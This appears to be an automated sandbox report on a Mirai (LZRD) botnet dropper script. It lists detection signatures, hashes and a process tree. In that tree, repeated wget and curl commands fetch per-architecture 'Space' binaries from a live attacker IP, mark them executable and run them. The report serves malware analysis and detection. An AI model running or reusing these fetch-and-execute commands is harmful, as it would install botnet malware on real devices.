Analysis

  • max time kernel
    138s
  • max time network
    146s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28-12-2024 02:34

General

  • Target

    86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh

  • Size

    2KB

  • MD5

    e182ba2d64359a90a25281b53cdd0b14

  • SHA1

    d8450d776b48b8834a1c607402eebf97bc0a126b

  • SHA256

    86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3

  • SHA512

    71e3f17025d636f8ccbd469bfc6ddeb7ea14bd71a952ad83058c3fb04141039688f6e178d7f3944627aedd1e7ea2c4924d7b452d9e4db192827bf3339624321d

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh
    /tmp/86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh
    1⤵
    • Writes file to tmp directory
    PID:711
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:713
    • /usr/bin/wget
      wget http://159.100.18.129/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:715
    • /usr/bin/curl
      curl -O http://159.100.18.129/hiddenbin/Space.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:734
    • /bin/cat
      cat Space.arc
      2⤵
        PID:741
      • /bin/chmod
        chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
        2⤵
        • File and Directory Permissions Modification
        PID:742
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:743
      • /usr/bin/wget
        wget http://159.100.18.129/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:746
      • /usr/bin/curl
        curl -O http://159.100.18.129/hiddenbin/Space.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:747
      • /bin/cat
        cat Space.x86
        2⤵
          PID:748
        • /bin/chmod
          chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.x86 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
          2⤵
          • File and Directory Permissions Modification
          PID:749
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:750
        • /usr/bin/wget
          wget http://159.100.18.129/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:752
        • /usr/bin/curl
          curl -O http://159.100.18.129/hiddenbin/Space.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:753
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:754
          • /bin/chmod
            chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:756
          • /usr/bin/wget
            wget http://159.100.18.129/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:758
          • /usr/bin/curl
            curl -O http://159.100.18.129/hiddenbin/Space.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:764
          • /bin/cat
            cat Space.i686
            2⤵
              PID:805
            • /bin/chmod
              chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
              2⤵
              • File and Directory Permissions Modification
              PID:806
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:807
            • /usr/bin/wget
              wget http://159.100.18.129/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:809
            • /usr/bin/curl
              curl -O http://159.100.18.129/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:810
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:811
            • /bin/chmod
              chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
              2⤵
              • File and Directory Permissions Modification
              PID:812
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:813
            • /usr/bin/wget
              wget http://159.100.18.129/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:815
            • /usr/bin/curl
              curl -O http://159.100.18.129/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:816
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:817
            • /bin/chmod
              chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
              2⤵
              • File and Directory Permissions Modification
              PID:818
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:819
            • /usr/bin/wget
              wget http://159.100.18.129/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:820
            • /usr/bin/curl
              curl -O http://159.100.18.129/hiddenbin/Space.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:827
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:836
              • /bin/chmod
                chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
                2⤵
                • File and Directory Permissions Modification
                PID:837
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:838
              • /usr/bin/wget
                wget http://159.100.18.129/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:860
              • /usr/bin/curl
                curl -O http://159.100.18.129/hiddenbin/Space.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:861
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:862
                • /bin/chmod
                  chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-Jk6uZa
                  2⤵
                  • File and Directory Permissions Modification
                  PID:863
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  PID:864
                • /usr/bin/wget
                  wget http://159.100.18.129/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:866
                • /usr/bin/curl
                  curl -O http://159.100.18.129/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:870
                • /bin/cat
                  cat Space.arm5
                  2⤵
                    PID:871
                  • /bin/chmod
                    chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:872
                  • /tmp/Space
                    ./Space
                    2⤵
                    • Executes dropped EXE
                    PID:873
                  • /usr/bin/wget
                    wget http://159.100.18.129/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:875
                  • /usr/bin/curl
                    curl -O http://159.100.18.129/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:876
                  • /bin/cat
                    cat Space.arm6
                    2⤵
                      PID:877
                    • /bin/chmod
                      chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:878
                    • /tmp/Space
                      ./Space
                      2⤵
                      • Executes dropped EXE
                      PID:879
                    • /usr/bin/wget
                      wget http://159.100.18.129/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:881
                    • /usr/bin/curl
                      curl -O http://159.100.18.129/hiddenbin/Space.arm7
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:882
                    • /bin/cat
                      cat Space.arm7
                      2⤵
                        PID:883
                      • /bin/chmod
                        chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:884
                      • /tmp/Space
                        ./Space
                        2⤵
                        • Executes dropped EXE
                        PID:885
                      • /usr/bin/wget
                        wget http://159.100.18.129/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:887
                      • /usr/bin/curl
                        curl -O http://159.100.18.129/hiddenbin/Space.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:888
                      • /bin/cat
                        cat Space.ppc
                        2⤵
                          PID:889
                        • /bin/chmod
                          chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:890
                        • /tmp/Space
                          ./Space
                          2⤵
                          • Executes dropped EXE
                          PID:891
                        • /usr/bin/wget
                          wget http://159.100.18.129/hiddenbin/Space.sparc
                          2⤵
                            PID:893
                          • /usr/bin/curl
                            curl -O http://159.100.18.129/hiddenbin/Space.sparc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:894
                          • /bin/cat
                            cat Space.sparc
                            2⤵
                              PID:895
                            • /bin/chmod
                              chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:896
                            • /tmp/Space
                              ./Space
                              2⤵
                              • Executes dropped EXE
                              PID:897
                            • /usr/bin/wget
                              wget http://159.100.18.129/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:898
                            • /usr/bin/curl
                              curl -O http://159.100.18.129/hiddenbin/Space.m68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:899
                            • /bin/cat
                              cat Space.m68k
                              2⤵
                                PID:900
                              • /bin/chmod
                                chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:901
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Executes dropped EXE
                                PID:902
                              • /usr/bin/wget
                                wget http://159.100.18.129/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:904
                              • /usr/bin/curl
                                curl -O http://159.100.18.129/hiddenbin/Space.sh4
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:905
                              • /bin/cat
                                cat Space.sh4
                                2⤵
                                  PID:906
                                • /bin/chmod
                                  chmod +x 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:907
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                  • Executes dropped EXE
                                  PID:908

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                86b0dbac78477aca5c3dd080ba53e837

                                SHA1

                                2542925378bca24e31bfcbfb9197cb0ba874fb21

                                SHA256

                                43a4a0183be4f67dc7757fd2068e7c3a604423abe3b5e71ad03b9f382a70899f

                                SHA512

                                6189287779a998d158de62b5b434338f7cfb556b92dc11280f0bbb6bedc267864c6b48085c80109169204f1d27b12abb5a268fa58da57b2d6200eb4d6eb25758

                              • /tmp/Space

                                Filesize

                                36KB

                                MD5

                                d247ab84c9c090053b129afa0e59bfff

                                SHA1

                                0710e52bdb6ee2c8c4d0d1f88b402f1584d7d3cc

                                SHA256

                                0d6e8522651a07c5b58e1abafb454b35ee08238a9a7512e50e37e72c1b17dfbd

                                SHA512

                                994e66ff08246807783f8ca10df97ebef03fa05aa1ef3eac7f08f285b1057d5e2bb6c5159f6731380a3014e7d2e4a2596e0a9f6cbd1a1f147ae23123adc77520

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                2e192eaf9a8107d21822c3ca2ae74c8d

                                SHA1

                                706b0e0202ab2e9e30623be13f29ff219bf1a623

                                SHA256

                                4b7b6dfeedc4816a5a879af9e4b2cc9b9fc16a423190af9aa733eb5f4b6b50a3

                                SHA512

                                a956f3968b06ddc76ce2c1a688aeafaa6132ac38cd363e70e3adbece850baf71c519470769fd9ed6cf67dfd758ad2f38c07ec81860e32b36c0b1037ab7d77072

                              • /tmp/Space

                                Filesize

                                43KB

                                MD5

                                bfaa04ccd012b09be805bd489a4775bb

                                SHA1

                                de53bbdf475cdb83582b2018196ad1d4b8719547

                                SHA256

                                421d80f8efd39afb7cfa2bc967026786261fd4267497db25bf33e37d5ee88e47

                                SHA512

                                a6da645dba966dd2aed51876d49462c3af0a8847941da447110cb145e5fea372d184705ade19ac56d5d6741a5923bfeb3f94b9c2c539f0588d92f91c12c05fb6

                              • /tmp/Space

                                Filesize

                                95KB

                                MD5

                                0340d3a13f3aa2cf620a3bb2d968d6fd

                                SHA1

                                b814af500eb50b97e122611be098a2e846f0bfe7

                                SHA256

                                831227be1f94a249538dff5d21862387fe294ed433c0b4919e702dc70284eaeb

                                SHA512

                                05347e75ab14d12a11b6b0fdbd9b44bf8437193a6b519785973eaa11a2ca046f7d275d4d48f0fe154a6a55061e5591b5baeb28101c16de4e22377d67b2926ac3

                              • /tmp/Space.arc

                                Filesize

                                113KB

                                MD5

                                cafba952355d27a129910f5e4f3f99ce

                                SHA1

                                61baaf26de5da12a2941ec73ae7bd8fd8f37f704

                                SHA256

                                2fcfb888bc32cadee51779121fe4de505b22668a6a05ad3d50780fa2b3774d37

                                SHA512

                                86b847fe57dd5c4dab277b5f966c1b46899c86c0e4c6a2a1b50838d3b2d47ad79c9944c96c85b2b4f1e68bcba02fd4890aa3452a7cc80778876ede679b3ea730

                              • /tmp/busybox

                                Filesize

                                857KB

                                MD5

                                6ffc46165b5d9726a6607f3ea5305589

                                SHA1

                                ab127220f42e816b413dde0d17031e251a7bc98f

                                SHA256

                                80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                                SHA512

                                456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8